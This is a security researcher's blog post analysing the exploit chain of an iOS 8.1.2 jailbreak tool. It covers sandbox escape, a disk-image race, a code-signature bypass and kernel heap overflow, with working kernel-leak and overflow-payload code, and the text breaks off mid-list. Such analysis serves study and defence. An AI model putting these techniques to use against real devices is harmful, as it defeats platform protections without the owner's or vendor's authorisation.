2017年4月11日星期二

Jailbreak iOS 8.1.2 and Analyze Related Exploits

0x00 Introduction

This post mainly introduces:
  1. my understanding on jailbreak
  2. the working process of an iOS 8.1.2 jailbreak tool
  3. the exploits used in a jailbreak
  4. the exploitation method for each exploit
I wish that you could learn the process of a jailbreak, the exploits required for a jailbreak and some exploitation methods through this article. The specific content is as follows.

0x01 What is Jailbreak

To illustrate what jailbreak is, let’s first check out the things that we are not able to do without jailbreak:
  1. Install ordinary apps with arbitrary signature and system apps
  2. Install SSH
  3. Add command line apps
  4. Add a Daemon
  5. Add or delete any files
  6. Obtain any Mach Task
  7. Forge Entitlements
  8. Enable memory page to be writeable and executable
This list concludes the things that can only be done after a jailbreak on an iDevice. If you just scratch from the surface, the list can be very long. Here, we’ll conclude from a technical aspect and see what protection mechanisms of the iOS need to be compromised to achieve the aforementioned things:
  1. fail the code signing mechanism
  2. fail the protection to memory page (W+X)
  3. fail the protection to disk partition (/dev/disk0s1s1)
  4. fail the protection to Rootless, which is used to ensure system integrity;
Therefore, iOS jailbreak generally means to break the above three protection mechanisms.

0x02 Set a Target

The process of a jailbreak is actually the process to attack an iOS. Before we launch an attack, we have to set a target. In general, it is the iOS system, but this target is too broad to guide an attack. So we need a more specific one. But how do we determine a specific target? All we need is to find the parts that are responsible for corresponding protection methods in the system. Here are the targets that I conclude:
  1. Kernel, amfid, libmiss.dylib:
  2. Kernel: the protection mechanism to memory page is implemented solely in kernel.
  3. Get root permission: it requires root permission to mount a disk partition.
Before we attack the final target, we’ll meet more obstacles (The system has multiple stages of defense) and these obstacles can be considered as stage goals. You’ll confront different obstacles on choosing different attack paths. However, if you start your attack through USB, the first one to bypass is a sandbox. So the sandbox is also a very important target.
The above is my interpretation on a jailbreak. Next I’ll illustrate the attacking flow, the exploits and exploitation used in the case of iOS 8.1.2.

0x03 Attack Overview

For the attack initiated through USB, the first problem to solve is how to evade a sandbox. The sandbox here refers to not only the process behavior limited by Sandbox.kext but also a generalized concept, for example, the entire iOS can be seen as a sandbox. The sandbox only enables several services by default:

Figure 1-services enabled by the sandbox

The iOS 8.1.2 jailbreak tool uses an exploit in Image Mounter (CVE-2015-1062) to create conditions for arbitrary code execution. If you want to execute arbitrary code in user space, you have to solve the problems cased by signature verification. The jailbreak tool uses a dyld exploit (CVE-2014-4455) to make afmid load a fake libmiss.dylib and therefore evade the signature verification. All conditions are satisfied to execute arbitrary code in user space. Then, the jailbreak tool executes Untether through an Accessibility tool (root permission). Untether is mainly used to mount the read-only disk partition to writable status and copy the payload from /var/mobile/Media to related system folder. The next Untether behavior is to attack the kernel. There are two methods:

Method 1:

First, use a kernel exploit (CVE-2014-4491) to obtain the starting address of the kernel and the Slide of KASLR. Then, combine a kernel exploit (CVE-2014-4496) and an IOHIDFamily exploit (CVE-2014-4487) to create space for executing arbitrary code execution and accessing the kernel. In the following, use Kernel Patch Finder to find the aforementioned protection code and some Gadget to construct a ROP chain to patch the kernel.

Method 2:

First, use a kernel exploit (CVE-2014-4496) to get the Slide of KASLR. Then, use an IOHIDFamily exploit (CVE-2014-4487) to implement arbitrary  kernel reading, access the virtual function table of a known object and calculate the base address loaded in the kernel. The following is the same as Method 1. In fact, compared to Method 2, Method 1 uses one more exploit.

0x04 Attacking Flow

1.Break a sandbox

Related Exploits

CVE-2014-4480
AppleFileConduit – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A maliciously crafted afc command may allow access to protected parts of the filesystem
Description: A vulnerability existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.
CVE-ID
CVE-2014-4480 : TaiG Jailbreak Team
table 1-CVE-2014-4480

CVE-2015-1087
Backup – Fixed in iOS 8.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: An attacker may be able to use the backup system to access restricted areas of the file system
Description: An issue existed in the relative path evaluation logic of the backup system. This issues was addressed through improved path evaluation.
CVE-ID
CVE-2015-1087 : TaiG Jailbreak Team
table 2-CVE-2015-1087

Prepare directory structure

Use the AFC service to create directories, files and soft links

(1)Create a directory
PublicStaging/cache/mmap
__proteas_ex__/a/b/c
__proteas_ex__/var/mobile/Media/PublicStaging/cache
__proteas_mx__/a/b/c/d/e/f/g
__proteas_mx__/private/var

(2)Create an empty file
__proteas_ex__/var/mobile/Media/PublicStaging/cache/mmap
__proteas_mx__/private/var/run

(3)Create a soft link
__proteas_ex__/a/b/c/c -> 
../../../var/mobile/Media/PublicStaging/cache/mmap
__proteas_mx__/a/b/c/d/e/f/g/c -> ../../../../../../../private/var/run

table 3-directory structure

Figure 2-the log used to create a directory

Here we exploit the CVE-2014-4480. On patched device, such as: iOS 8.3, AFC reports error when creating the above directory:

afcd[395] <Error>:
AFCFileLine="1540"
AFCFileName="server.c"
AFCCode="-402636793"
NSDescription="Request path cannot contain dots :
../../../var/mobile/Media/PublicStaging/cache/mmap"
AFCVersion="232.5"
table 4- AFC reports error message

Trigger backup recovery

Let’s first look at the backup recovery result that is triggered.
iPhone5s:~ root# ls -al /var/run/mobile_image_mounter
lrwxr-xr-x 1 mobile mobile 50 Jun 26 17:29
/var/run/mobile_image_mounter -> ../../../var/mobile/Media/PublicStaging/cache/mmap
table 5- the backup recovery result

Some temporary directory is created when mounting DDI. Using the recovered exploit, this temporary directory will be exposed to the sub directory in Media creating conditions for DDI exploitation.
1848 BackupAgent  Chowned  /private/var/.backup.i/var/Keychains
1848 BackupAgent  Created dir  /private/var/.backup.i/var/Managed Preferences
1848 BackupAgent  Created dir  /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent  Chowned  /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent  Created dir  /private/var/.backup.i/var/MobileDevice
1848 BackupAgent  Created dir  /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent  Chowned  /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent  Created dir  /private/var/.backup.i/var/mobile/Media
1848 BackupAgent  Created dir  /private/var/.backup.i/var/mobile/Media/PhotoData
1848 BackupAgent  Renamed  /private/var/mobile/Media/__proteas_mx__/a/b/c/d/e/f/g/c    /private/var/.backup.i/var/mobile/Media/PhotoData/c
1848 BackupAgent  Chowned  /private/var/run
1848 BackupAgent  Chowned  /private/var/run
1848   Renamed  /private/var/mobile/Media/__proteas_ex__/a/b/c/c    /private/var/run/mobile_image_mounter
1848   Chowned  /private/var/mobile/Media/PublicStaging/cache/mmap
table 6- the recovered log by backup

Apple’s description on CVE-2015-1087 is rather simple. But it’s not that easy to write a POC. When compiling it, you need to pay attention:
  1. If you use libimobiledevice to write exploitation, you need to rewrite mobilebackup_client_new to control the exchange of version number. Or else BackupAgent won’t start.
  2. You need to construct the malicious Payload (Plist data) based on the protocol of Mobile Backup. So that BackupAgent can create the above link.
  3. Use mobilebackup_send to send the Plist and use mobilebackup_receive to receive the response. Determine if the execution is successful.
To make it convenient for test, here is a function used to print the Plist content:
//-- Debug
void debug_plist(plist_t plist)
{
    if (!plist) {
        printf("[-] debug_plist: plist handle is NULL\n");
        return;
    }
 
    char *buffer = NULL;
    uint32_t length = 0;
    plist_to_xml(plist, &buffer, &length);
 
    if (length == 0) {
        printf("[-] debug_plist: length is zero\n");
        return;
    }
 
    char *cstr = (char *)malloc(length + 1);
    memset(cstr, 0, length + 1);
    memcpy(cstr, buffer, length);
 
    printf("[+] DEBUG PLIST:\n");
    printf("--------------------------------------------\n");
    printf("%s\n", cstr);
    printf("--------------------------------------------\n");
 
    free(buffer);
    free(cstr);
}
table 7- the code to debug plist

Current process

At this time, through exploiting the two exploits, the temporary directory of Image Mounter is exposed from the mount dmg to /var/mobile/Media/PublicStaging/cache/mmap, which is prepared for the exploitation of DDI.

2.Exploit DDI

Related exploits

CVE-2015-1062
MobileStorageMounter – Fixed in iOS 8.2
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to create folders in trusted locations in the file system
Description: An issue existed in the developer disk mounting logic which resulted in invalid disk image folders not being deleted. This was addressed through improved error handling.
CVE-ID
CVE-2015-1062 : TaiG Jailbreak Team
table 8-CVE-2015-1062

Payload Introduction

There are two payloads, which are two dmg files.
The first dmg contains three partitions:
  1. DeveloperDiskImage,an empty partition
  2. DeveloperCaches, which will be mounted to /System/Library/Caches
  3. DeveloperLib, which will be mounted to /usr/lib
The specific contents are as follows:
├── Developer-Caches
│   └── com.apple.dyld
│       └── enable-dylibs-to-override-cache
├── Developer-Lib
│   ├── FDRSealingMap.plist
│   ├── StandardDMCFiles
│   │   ├── N51_Audio.dmc
│   │   ├── N51_Coex.dmc
│   │   ├── N51_Default.dmc
│   │   ├── N51_Flower.dmc
│   │   ├── N51_FullPacket.dmc
│   │   ├── N51_GPS.dmc
│   │   ├── N51_Powerlog.dmc
│   │   ├── N51_SUPL.dmc
│   │   ├── N51_Sleep.dmc
│   │   └── N51_Tput.dmc
│   ├── dyld
│   ├── libDHCPServer.dylib -> libDHCPServer.A.dylib
│   ├── libMatch.dylib -> libMatch.1.dylib
│   ├── libexslt.dylib -> libexslt.0.dylib
│   ├── libmis.dylib
│   ├── libsandbox.dylib -> libsandbox.1.dylib
│   ├── libstdc++.dylib -> libstdc++.6.dylib
│   ├── system
│   │   └── introspection
│   │       └── libdispatch.dylib
│   └── xpc
│       └── support.bundle
│           ├── Info.plist
│           ├── ResourceRules.plist
│           ├── _CodeSignature
│           │   └── CodeResources
│           └── support
└── DeveloperDiskImage

10 directories, 24 files
table 9- contents of 1st dmg

The 1st dmg has two important files:
  1. enable-dylibs-to-override-cache: We know that almost all dylib in the iOS is pre-linked to a Cache file. Applications would load dylib from Cache by default and neglect the dylib in the system. Only when enable-dylibs-to-override-cache exists in the file system, dyld (Image Loader) would first load the dylib in the file system. Apple may use this mechanism as a reserve way or use it to support hot patching for system components.
  2. libmis.dylib, a malformed dylib, which was used for code signing. This will be covered in detail later.
The contents of the 2nd dmg mainly relate to jailbreak:
├── Library
│   └── Lockdown
│       └── ServiceAgents
│           ├── com.apple.load_amfi.plist
│           ├── com.apple.mount_cache_1.plist
│           ├── com.apple.mount_cache_2.plist
│           ├── com.apple.mount_cache_3.plist
│           ├── com.apple.mount_cache_4.plist
│           ├── com.apple.mount_cache_5.plist
│           ├── com.apple.mount_cache_6.plist
│           ├── com.apple.mount_cache_7.plist
│           ├── com.apple.mount_cache_8.plist
│           ├── com.apple.mount_lib_1.plist
│           ├── com.apple.mount_lib_2.plist
│           ├── com.apple.mount_lib_3.plist
│           ├── com.apple.mount_lib_4.plist
│           ├── com.apple.mount_lib_5.plist
│           ├── com.apple.mount_lib_6.plist
│           ├── com.apple.mount_lib_7.plist
│           ├── com.apple.mount_lib_8.plist
│           ├── com.apple.ppinstall.plist
│           ├── com.apple.remove_amfi.plist
│           ├── com.apple.umount_cache.plist
│           └── com.apple.umount_lib.plist
├── bin
│   └── ppunmount
├── pploader
└── pploader.idb
 
4 directories, 24 files

This dmg will be mounted to /Developer and the system will handle its contents in a unified way. More specifically, the applications in /Developer/bin is contained in the search path of the system by default.

Parsing the exploit

Apple’s description on this exploit is relative brief. On the Internet, it says this exploit can use race condition to replace a dmg. The primary problem is race condition, but apple has never fixed it and it’s hard to patch. However, DDI has another problem. Let’s have a look.
The contents in /dev before triggering the exploit:
brw-r—– 1 root operator 1, 0 Jun 26 19:07 /dev/disk0
brw-r—– 1 root operator 1, 1 Jun 26 19:07 /dev/disk0s1
brw-r—– 1 root operator 1, 3 Jun 26 19:07 /dev/disk0s1s1
brw-r—– 1 root operator 1, 2 Jun 26 19:07 /dev/disk0s1s2
brw-r—– 1 root operator 1, 4 Jun 26 19:07 /dev/disk1
brw-r—– 1 root operator 1, 5 Jun 26 19:07 /dev/disk2
brw-r—– 1 root operator 1, 6 Jun 26 19:07 /dev/disk3
brw-r—– 1 root operator 1, 7 Jun 26 19:07 /dev/disk4
brw-r—– 1 root operator 1, 8 Jun 26 19:08 /dev/disk5
table 11-before mounting the dmg

The contents in /dev after triggering the exploit:
brw-r—– 1 root operator 1,  0 Jun 26 19:22 /dev/disk0
brw-r—– 1 root operator 1,  1 Jun 26 19:22 /dev/disk0s1
brw-r—– 1 root operator 1,  2 Jun 26 19:22 /dev/disk0s1s1
brw-r—– 1 root operator 1,  3 Jun 26 19:22 /dev/disk0s1s2
brw-r—– 1 root operator 1,  4 Jun 26 19:22 /dev/disk1
brw-r—– 1 root operator 1,  5 Jun 26 19:22 /dev/disk2
brw-r—– 1 root operator 1,  6 Jun 26 19:22 /dev/disk3
brw-r—– 1 root operator 1,  7 Jun 26 19:22 /dev/disk4
brw-r—– 1 root operator 1,  8 Jun 26 19:23 /dev/disk5
brw-r—– 1 root operator 1,  9 Jun 26 19:26 /dev/disk6
brw-r—– 1 root operator 1, 10 Jun 26 19:26 /dev/disk6s1
brw-r—– 1 root operator 1, 11 Jun 26 19:26 /dev/disk6s2
brw-r—– 1 root operator 1, 12 Jun 26 19:26 /dev/disk6s3
table 12-after mounting the dmg

The above two tables respectively represent the results before and after mounting the 1st dmg by using race condition. As we mentioned earlier, the DeveloperDiskImage partition of the 1st dmg is empty. So no contents can be replaced.
By comparison, we can see there is another issue in MobileStorageMounter: when mounting an illegal dmg, even if it fails, the corresponding partitions will still exist in the device directory. These disks will be mounted during a jailbreak:
  • disk6s3 is mounted to /System/Library/Caches
  • disk6s2 is mounted to /usr/lib
Trigger the race condition

Before triggering the race condition to replace the dmg, first you need to find the temporary directory of the dmg. The following explains the constructing rules for the temporary directory.
First let’s see the real path. Then we’ll explain the constructing method:
/var/run/mobile_image_mounter/
6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b
1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/
909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39
f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/
table 13- the temporary directory created by mount dmg


As shown in the table, the blue one is the first part of the path; the green one is the second part (note: the second and third line of the code are blue, the forth and fifth line are green.). Next are the contents from the corresponding signature file of the dmg:

Figure 3-DeveloperDiskImage.dmg.signature

After comparison, we’ll notice the creation rule for temporary directory is: to convert the contents of the signature file into a hex string, then take the first 64 bytes as the first part of the path and take the last 64 bytes as the second part, after which append a random filename to the dmg file, such as 1Nm843.dmg.
When finding the dmg file, it’s relatively easier to trigger the race condition. To be specific: first check if DDI is mounted (the development device is likely to be mounted). If it is mounted, restart the device. If it’s not mounted, first load the real DDI and signature, then create a temporary directory, upload the forged DDI and call relevant service to mount the real DDI, next use the fake DDI to replace the aforementioned temporary file (1Nm843.dmg).

Exploitation result

After exploiting the DDI, the partitions of the 1st dmg is reserved in the device while the contents of the second dmg is mounted to /Developer:
/Developer/Library
/Developer/bin
/Developer/pploader
/Developer/Library/Lockdown
/Developer/Library/Lockdown/ServiceAgents
/Developer/Library/Lockdown/ServiceAgents/com.apple.load_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.ppinstall.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.remove_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_cache.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_lib.plist
/Developer/bin/ppunmount
table 14-contents in /Developer of the device

On finishing the exploitation of DDI, it equals that we add some more services to the system. If these services use the applications within the system, such services can be directly called; it they use their own applications, they first need to filter out the code signature.

Figure 4-com.apple.remove_amfi.plist

Figure 5-com.apple.ppinstall.plist

So far, the only thing left for us is to filter out the code signature so that arbitrary code can be executed with root permission in suer space. Next we’ll observe code signature.


3.Bypass code signature

Related exploits

CVE-2014-4455
dyld – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A local user may be able to execute unsigned code
Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed through improved validation of segment sizes.
CVE-ID
CVE-2014-4455 : TaiG Jailbreak Team
table 15-CVE-2014-4455

Here the bypass code signature uses the same technique adopted by previous jailbreak tools, but leverages different exploits. It also uses the dylib function re-export technique. After exploiting this technique, libmiss.dylib becomes a dylib with pure data. On execution, page fault won’t trigger the kernel to verify code signature. This is an important point, because the bypass code signature technique here is not generic and only targets pure -data dylib.
I believe everyone have read code related articles, such as, death of the vmsize=0 dyld trick by Stefan Esser. We all know how to use MachO’s Segment override technique to bypass code signature, here we won’t detail this technique. But we’ll look into another problem: since a pure-data dylib itself has no code, why do we have to bother to bypass code signature? Because the loader requires MachO files to be with a code segment, even if the code is not required by itself.
As there is a new security mechanism-Library Validation is added to AMFI since iOS 8, this security mechanism mainly is used to fight against attacks of code injection. Pangu has introduced this Library Validation in Userland Exploits of Pangu 8. The following diagram shows the reversed LV Working flow:
Figure 6-Library Validation diagram

As a result, libmiss.dylib also uses code signature transplanting technique to bypass LV. Here is an idea to transplant a code signature:
  1. Parse the MachO file to be exploited, such as afcd, dump its signature data to a file and get its size.
  2. Before change libmiss.dylib to be malformed and use codesign_allocate to apply for signature space in dylib. The space size is the one in step1:
man codesign_allocate
codesign_allocate -i libmis.dylib -a arm64 128 -o libmis2.dylib 
  1. Malform the libmiss.dylib
  2. Use binary editor to modify libmiss.dylib and replace the signature space with the exported signature data in step1.

4.Execute arbitrary code with root permission in user space

By now, we have a malformed libmiss.dylib. So long as afmid loads this dylib, we’ll bypass the code signature. In the following, we’ll see how the jailbreak tool executes the services in /Developer/Library/Lockdown/ServiceAgents and in what order:
  1. Call the services in com.apple.mount_cache_1~8.plist and mount /dev/disk1s3 to /System/Library/Caches. The purpose is to add enable-dylibs-to-override-cache to the system, so that we can use the libmiss.dylib in the disk to override the file in dylib cache. The reason to have 8 plist is that the jailbreak tool won’t be sure the file is in which disk.
  2. Call the services in com.apple.mount_lib_1~8.plist and mount /dev/disk1s2 to /usr/lib. So that libmiss.dylib exists in the file system.
  3. Call the service in com.apple.remove_amfi.plist and stop amfid.
  4. Call the service in com.apple.load_amfi.plist and restart the amfid service. Because of the existence of enable-dylibs-to-override-cache, the malformed libmis.dylib in /usr/lib will be loaded and the function with code signature will be exported. The response for code signature request will always be 0 that represent the signature is valid. Thereafter, we will be able to execute arbitrary code.
  5. Call the service in com.apple.ppinstall.plist and run untether with root permission. The untether will mount root partition to be writable, then copy the payload from /var/mobile/Media to corresponding system directory. Next is to attack the kernel and patch the security feature mentioned at the beginning.
  6. Call the service in com.apple.umount_cache.plist and recovery /System/Library/Caches to the status on disk.
  7. Call the service in com.apple.umount_lib.plist and recovery /usr/lib to the status on disk.
At this point, this is basically all ablout attacking against user space. Next is persistence method and then is the attack against kernel.

5.Persistence(untethered jailbreak)

The so-called untethered jailbreak means the device can auto start untecher after reboot, which requires untether to be a service booting at startup. We know the startup services in the system are store at /System/Library/LaunchDaemons/. Among them, each is configured by a plist. But since iOS7, the plist for startup service has to embed into libxpc.dylib, because apple wants to use code signature technique to prevent malware changing startup services.
Therefore, to enable untether start on boot, we need to embed associated plist into libxpc.dylib. As libxpc.dylib will be modified, which causes it code signature destroyed, so we have to use the same technique as constructing the libmiss.dylib to bypass code signature and library verification.
The following explains how the system access plist data from libxpc.dylib:
  1. Use dlopen to load libxpc.dylib
  2. Call dlsym to determine if there exists export symbol:__xpcd_cache
  3. Call dladdr to get the address of __xpcd_cache
  4. Call getsectiondata to get the Section data that includes __xpcd_cache
  5. Call CFDataCreateWithBytesNoCopy to create a CFData object
  6. Call CFPropertyListCreateWithData to tranform Data into plist
In test, I wrote a tool to print the plist information in libxpc.dylib, which you can download from gituhub and use it on the device:
https://github.com/Proteas/xpcd_cache_printer
I've explained persistence here because persistence is an important part of untethered jailbreak, but it’s not a kernel exploit. Next I’ll introduce the exploits and exploitations related to kernel.

6.Kernel information leaks

Related Exploits

CVE-2014-4491
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection. This issue was addressed by unsliding the addresses before returning them.
CVE-ID
CVE-2014-4491 : @PanguTeam, Stefan Esser
table 17-CVE-2014-4491

CVE-2014-4496
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection. This was addressed by disabling the mach_port_kobject interface in production configurations.
CVE-ID
CVE-2014-4496 : TaiG Jailbreak Team
table 18-CVE-2014-4496

Exploitation

CVE-2014-4491 is a logic exploit that doesn’t require many exploitation tricks. Using the following code, you’ll get kernel information:

(NSData *)getKextInfoData
{
    vm_offset_t request = "<dict><key>Kext Request Predicate</key><string>Get Loaded Kext Info</string></dict>";
    mach_msg_type_number_t requestLength = (unsigned int)strlen(request) + 1;
 
    vm_offset_t response = NULL;
    mach_msg_type_number_t responseLength = 0;
 
    vm_offset_t log = NULL;
    mach_msg_type_number_t logLength = 0;
 
    kern_return_t opResult = KERN_SUCCESS;
 
    kext_request(mach_host_self(),
                 0,
                 request,
                 requestLength,
                 &response,
                 &responseLength,
                 &log,
                 &logLength,
                 &opResult);
    if (opResult != KERN_SUCCESS) {
        printf("[-] getKextInfoString: fail to request kernel info\n");
        return NULL;
    }
 
    NSData *responseData = [[NSData alloc] initWithBytes:response length:responseLength];
 
    return [responseData autorelease];
}
table 19-exploit CVE-2014-4491

The specific information is shown in the figure:
Figure 7-kernel information

After getting the kernel information, you can parse the xml data and get the corresponding Base64 string of OSBundleMachOHeaders before parsing the string to obtain a MachO:
Figure 8-MachO Header

Then parse this MachO header and get the start addresses of __TEXT Segmentand``__PRELINK_STATE. Next, calculate the start address of the kernel based on that of __PRELINK_STATE. Subtract the start address of the kernel from that of __TEXT is the Slide of KASLR. The kernel ends where __PRELINK_INFO Segment is ended. By this way, we get the start address and the end address of the kernel, as well as the Slide if KASLR. These information can be applied in two aspects: it requires the actual address of the kernel to patch the kernel and it also requires the Slide of KASLR to obtain the actual address of the heap object when exploit the kernel heap.
CVE-2014-4496 is a logic exploit that Stefan Esser has fully described:
mach_port_kobject() and the kernel address obfuscation
You may read it in depth. Here is the specific method to get the constant object:
io_master_t io_master = 0;
kret = host_get_io_master(mach_host_self(), &io_master);
table 20-create a constant object

Now that’s all about the exploits related to kernel information leaks. They are all preparation works for reading and executing the kernel code.

7. Kernel read and arbitrary code execution

Relate exploits

CVE-2014-4487
IOHIDFamily – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A buffer overflow existed in IOHIDFamily. This issue was addressed through improved size validation.
CVE-ID
CVE-2014-4487 : TaiG Jailbreak Team
table 21-CVE-2014-4487

Pangu Team concludes a post to introduce the causes of this exploit and how to exploit it. You may read it here:
CVE-2014-4487 – IOHIDLibUserClient Heap Overflow Vulnerability
Exploitation: release thememory block from small zone to a big zone. Combined with heap Feng Shui, apply for the released memory block immediately so the neighboring small kernel block will be overwritten.

Exploitation diagram
Figure 9-Eploit Heap Overflow

Kernel Read

Kernel read mainly uses the ool descriptor of mach_msg. The specific process is as follows:
1.Use Heap Feng Shui to apply 8 consecutive memory blocks from zone-256
2.Release the first five memory blocks
3.Send mach message to the current Mach Task (untether). This message contains 8 ool descriptors and the size of each ool descriptor is:256 – sizeof(fake_vm_map_copy_64)


typedef struct fake_vm_map_copy_64_ {
    uint32_t type;
    uint64_t offset;
    uint64_t size;
    union {
        struct {
            uint8_t something[64];
        };
        uint64_t object;
        struct {
            uint64_t kdata;
            uint64_t kalloc_size;
        };
    };
} fake_vm_map_copy_64;
table 22-critical data structure: fake_vm_map_copy_64

In this way, the released memory blocks will be applied for immediately.
4.Release the last 3 memory blocks in Heap Feng Shui.
5.Trigger the exploit and the 6th memory block will be added to zone-1024.
6.Send another message to yourself, the size of ool descriptor is 960 – sizeof(fake_vm_map_copy_64), because the system will allocate a 960 sized memory block from zone-1024, all we need is to control the contents of 960 memory blocks to overflow the heap.
7.Control the overflow:
(void)constructPayload:(uint8_t *)buffer
          kobjectAddress:(mach_vm_address_t)kobject_address
             readAddress:(mach_vm_address_t)address
               _readSize:(mach_vm_size_t)size
{
    // 0xA8 = 168(payload) = 256 - sizeof(fake_vm_map_copy_64)
    if (size < 0xA8) {
        size = 0xA8;
    }
 
    // 0x368 = 872 = 960 - 88
    // 0x0A8, 0x1A8, 0x2A8, 0x3A8
    // 0x3A8 - 0x368 = 0x40 = 64
    fake_vm_map_copy_64 *vm_copy_struct_ptr = (fake_vm_map_copy_64 *)(buffer + 0xA8);
    for (int idx = 0; idx < 3; ++idx) {
        memset(vm_copy_struct_ptr, 0, sizeof(fake_vm_map_copy_64));
 
        if (idx == 0) {
            vm_copy_struct_ptr->type = 0x3;
            vm_copy_struct_ptr->size = size;
            vm_copy_struct_ptr->kdata = address;
            vm_copy_struct_ptr->kalloc_size = 0x100;
        }
        else {
            vm_copy_struct_ptr->type = 0x3;
            vm_copy_struct_ptr->size = 0xA8; // 0xA8 = 256 - 0x58 = 168 = ool memory size
            vm_copy_struct_ptr->kdata = kobject_address;
            vm_copy_struct_ptr->kalloc_size = 0x100;
        }
 
        vm_copy_struct_ptr = (mach_vm_address_t)vm_copy_struct_ptr + 0x100;
    }
}
table 23-control the overflow

8.Drectly receive the message and kernel data is read into user space.
This code (from the internet) can print the contents to read, which is convenient to debug the kernel read:
void HexDump(char *description, void *addr, int len)
{
    int idx;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char *)addr;
 
    // Output description if given.
    if (description != NULL)
        printf ("%s:\n", description);
 
    // Process every byte in the data.
    for (idx = 0; idx < len; idx++) {
        // Multiple of 16 means new line (with line offset).
 
        if ((idx % 16) == 0) {
            // Just don't print ASCII for the zeroth line.
            if (idx != 0)
                printf (" | %s\n", buff);
 
            // Output the offset.
            printf ("  %04X:", idx);
        }
 
        // Now the hex code for the specific character.
        printf (" %02X", pc[idx]);
 
        // And store a printable ASCII character for later.
        if ((pc[idx] < 0x20) || (pc[idx] > 0x7e))
            buff[idx % 16] = '.';
        else
            buff[idx % 16] = pc[idx];
        buff[(idx % 16) + 1] = '\0';
    }
 
    // Pad out last line if not exactly 16 characters.
    while ((idx % 16) != 0) {
        printf ("   ");
        idx++;
    }
 
    // And print the final ASCII bit.
    printf (" | %s\n", buff);
}
table 24-print the memory contents

Kernel information leaks

The kernel information leak is achieved based on kernel read. Here is the exploitation process:
  1. Use the aformentioned kernel information lead exploit to obtain the actual kernel address of a kernel object
  2. Then use kernel read to read the contents of the object
  3. Extract the size value of the first mach_vm_address_t from the contents,. This value represents the address for the virtual function table
  4. Use kernel read again to read the contents of virtual function table
  5. Pick a pointer from the contents
At last, use the function pointer to calculate the start address of the kernel. By using this method, you will not get the end address of the kernel but it won’t affect jailbreak.

(mach_vm_address_t)getKernelBaseAddresses:
(mach_vm_address_t)hid_event_obj_kaddress
{
    // HID Event Object Memory Content
    unsigned char *hid_event_obj_content =
    [self readKernelMemoryAtAddress:hid_event_obj_kaddress + 0x1 size:0x100];
    unsigned long long *hid_event_service_queue_obj_ptr =
    (unsigned long long *)(hid_event_obj_content + 0xE0);
 
    // HID Event Service Queue Memory Content
    unsigned char *hid_event_service_queue_obj_content =
    [self readKernelMemoryAtAddress:*hid_event_service_queue_obj_ptr size:0x80];
 
    unsigned long long *hid_event_service_queue_vtable_ptr_0x10 =
    (unsigned long long *)(hid_event_service_queue_obj_content);
    unsigned char *hid_event_service_queue_vtable_content_0x10 =
    [self readKernelMemoryAtAddress:*hid_event_service_queue_vtable_ptr_0x10 size:0x18];
 
    unsigned long long *fifth_function_ptr_of_vtable =
    (unsigned long long *)(hid_event_service_queue_vtable_content_0x10 + 0x10);
 
    mach_vm_address_t kernel_base =
    ((*fifth_function_ptr_of_vtable - (0x200 << 12)) & 0xffffff80ffe00000) + 0x2000;
 
    return kernel_base;
}
table 25: calculate the base address of the kernel

Arbitrary kernel code execution

The exploitation idea of arbitrary kernel code execution is the same as that of kernel read. The difference lies in some details, here is the exploitation process:
  1. Use memory mapping to map part of kernel memory to user space
